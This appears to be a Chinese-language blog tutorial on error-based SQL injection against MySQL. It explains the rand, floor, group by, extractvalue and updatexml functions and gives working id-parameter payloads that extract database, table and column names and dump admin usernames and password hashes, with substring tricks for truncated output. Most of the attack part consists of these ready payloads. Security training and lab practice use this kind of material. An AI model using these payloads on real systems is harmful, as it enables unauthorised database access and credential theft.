web-报错注入

必要的函数

rand

select rand(0) from hackbiao;

rand(0):生成以0开头的随机数,生成的数量与字段下数据的条数相等。如果i没有这个地段的话,就会自己形成一个新的字段打印出来。

count和group by

grouip by在进行排序的时候,会生成一个虚拟机的表进行排序,但是它不会打印出来

复制代码
select username,count(username)x from hackbiao group by username;

floor

向下取整,例如0.9=0

复制代码
select floor(rand(0)*2)x from hackbiao;

extractvalue

复制代码
extractvalue(1,2)
#1:对象  2:路径
#2原本要写的是路径,但是如果路径(XPATH)不对的话,就要把我们要写的sql语句带进去执行,然后同报错信息一起呈现出来

updatexml

复制代码
updatexml(1,2,3)
#1:对象 2:路径 3:修改内容
#跟extractvule一样,当2的路径错了的时候,就会把我们的sql语句带进去执行,然后同报错信息一起显示出来

操作

update

查询数据库

id=12 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

id=12 and updatexml(1,concat(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)

查询数据表

id=130 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查询表下的字段(admin表下)

id=130 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='admin'),0x7e),1)

读取数据

id=130 and updatexml(1,concat(0x7e,(select group_concat(username,'.........',password) from admin),0x7e),1)

这里是可以看到回显数据是不完整的,看这个感觉就是32位的md5加密。

用长度验证一下猜想,果然是32位。具体数值用substring函数就可以读取了

id=130 and updatexml(1,concat(0x7e,(select password from admin where length(password)=32),0x7e),1)

extractvalue

读取数据库

id=12 and extractvalue(1,concat(0x7e,(select database()),0x7e))

读取数据表

id=12 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='qdm123287303_db'),0x7e))

读取数据

id=130 and extractvalue(1,concat(0x7e,(select password from admin),0x7e))

id=130 and extractvalue(1,concat(0x7e,substring((select password from admin),30,10),0x7e))

相关推荐
IT邦德1 分钟前
Oracle 26ai 首发季度补丁 23.26.2.0.0 来了!单机版升级
数据库·oracle
yoyo_zzm4 分钟前
Laravel10.x新特性全解析
数据库·mysql·架构
许彰午10 分钟前
CacheSQL(五):桥接篇
java·数据库·缓存·系统架构
七夜zippoe16 分钟前
# DolphinDB分区策略:RANGE分区详解
数据库·策略·分区·range·dolphindb
地球资源数据云28 分钟前
中国陆地生态系统主要植物功能特征空间分布数据
大数据·数据库·人工智能·机器学习
吠品34 分钟前
高性能JS数组操作:何时选用push、unshift、splice或扩展运算符?
linux·服务器·数据库
洛水水42 分钟前
【Redis入门】一篇详解Redis五大数据结构
数据结构·数据库·redis
woodykissme1 小时前
日产汽车花键测绘,为什么总踩坑?
数据库·汽车·齿轮·渐开线花键
雨辰AI1 小时前
从 MySQL 迁移至人大金仓 V9 完整改造指南|分页 / 函数 / 语法兼容全部解决
java·开发语言·数据库·后端·mysql·政务
Chengbei111 小时前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全